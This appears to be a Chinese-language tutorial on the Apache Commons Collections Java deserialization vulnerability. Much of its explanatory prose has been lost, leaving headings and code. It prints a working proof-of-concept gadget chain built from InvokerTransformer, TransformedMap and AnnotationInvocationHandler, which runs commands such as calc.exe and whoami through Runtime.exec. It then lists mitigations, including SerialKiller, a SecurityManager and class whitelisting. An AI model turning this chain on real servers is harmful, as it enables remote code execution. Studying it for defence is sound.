Java反序列化漏洞分析

前言

一、认识Java序列化与反序列化

1.1 定义

1.2 用途

1.3 应用场景

session

Session

活化

钝化

1.4 API实现

java.io.ObjectOutputStream.writeObject()

.ser

java.io.ObjectInputStream.readObject()

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Java_Test{

public static void main(String args[]) throws Exception {
String obj = "ls ";

// 将序列化对象写入文件object.txt中
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();

// 从文件object.txt中读取数据
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}

}

ObjectOutputStream

writeObject

ObjectInputStream

readObject

Serializable

Externalizable

Externalizable

Serializable

Externalizable

Serializable

writeObject()

readObject()

1.5 代码实例

Person

writeObject

Person.txt

readObject

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {
private static final long serialVersionUID = -5809782578272943999L;

private int age;
private String name;
private String sex;

//省略getter/setter方法
}

/**
* 测试对象的序列化和反序列
*/
public class SerializeDeserialize_readObject {

public static void main(String[] args) throws Exception {
SerializePerson();//序列化Person对象
Person p = DeserializePerson();//反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
p.getName(), p.getAge(), p.getSex()));
}

/**
* 序列化Person对象
*/
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
// ObjectOutputStream 对象输出流，将Person对象存储到Person.txt文件中，完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功！");
oo.close();
}

/**
* 反序列Perons对象
*/
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
Person person = (Person) ois.readObject();
System.out.println("Person对象反序列化成功！");
return person;
}

}

二、理解漏洞的产生

Apache Commons Collections

Commons Collections

Apache Commons Collections

InvokerTransformer

三、POC构造

Runtime.getRuntime().exec()

3.1TransformedMap

Apache Commons Collections

TransformedMap

transform

Transformer

TransformedMap

transform

TransformedMap.decorate()

TransformedMap

Map afterMap = TransformedMap.decorate(beforeMap, null, chainedTransformer);

3.2 Transformer接口

invoke

Transformer

ChainedTransformer

ChainedTransformer

Transformer

ConstantTransformer

InvokerTransformer

ChainedTransformer

ChainedTransformer

Transformer

InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {

...

/*
Input参数为要进行反射的对象，
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

}

ConstantTransformer()

Runtime

getRuntime

exec()

ChainedTransformer

Runtime

getRuntime

exec

TransformeMap

tansform()

Map

ChainedTransformer

TransformedMap

public static void main(String[] args) throws Exception {
//transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};

//首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap
Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
innerMap.put("1", "zhang");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发Map中的MapEntry产生修改（例如setValue()函数
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();

onlyElement.setValue("foobar");
/*代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：
首先通过ConstantTransformer获得Runtime类
进一步通过反射调用getMethod找到invoke函数
最后再运行命令calc.exe。
*/
}

3.3 AnnotationInvocationHandler

readObject()

readObject()

readObject()

AnnotationInvocationHandler

memberValues

AnnotationInvocationHandler

readObject()

memberValues

setValue()

ChainedTransformer

TransformedMap

AnnotationInvocationHandler

readObject()

3.4 代码实例

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class POC_Test{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

//transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami" }
//new Object[] { execArgs }
)
};

//transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
Transformer transformedChain = new ChainedTransformer(transformers);

//BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

BeforeTransformerMap.put("hello", "hello");

//Map数据结构，转换后的Map
/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
第三个参数为Map对象内的value要经过的转化方法。
*/
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
}

/*
思路:构建BeforeTransformerMap的键值对，为其赋值，
利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行

执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

四、漏洞分析

4.1 漏洞引发

4.2 漏洞原因

ObjectInputStream

CommonsCollections

4.3 漏洞根源

org.apache.commons.collections.Transformer

4.4 攻击思路

TransformedMap

4.5 漏洞挖掘

五、漏洞修补与防护

apache-commons-collections

Jenkins

WebLogic

Jboss

WebSphere

OpenNMS

Jenkins

commons-collections 3.1

5.1 更新版本

5.2 SerialKiller

SerialKiller

java.io.ObjectInputStream

SerialKiller

Hot-Reload

Whitelisting

Blacklisting

5.3 禁止JVM执行外部命令

SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException(
"System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}

Runtime.exec

5.4 白名单校验

ObjectInputStream

resolveClass

ObjectInputStream

resolveClass

public class MyObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException{
if(!desc.getName().equals("className")){
throw new ClassNotFoundException(desc.getName()+" forbidden!");
}
return super.resolveClass(desc);
}
}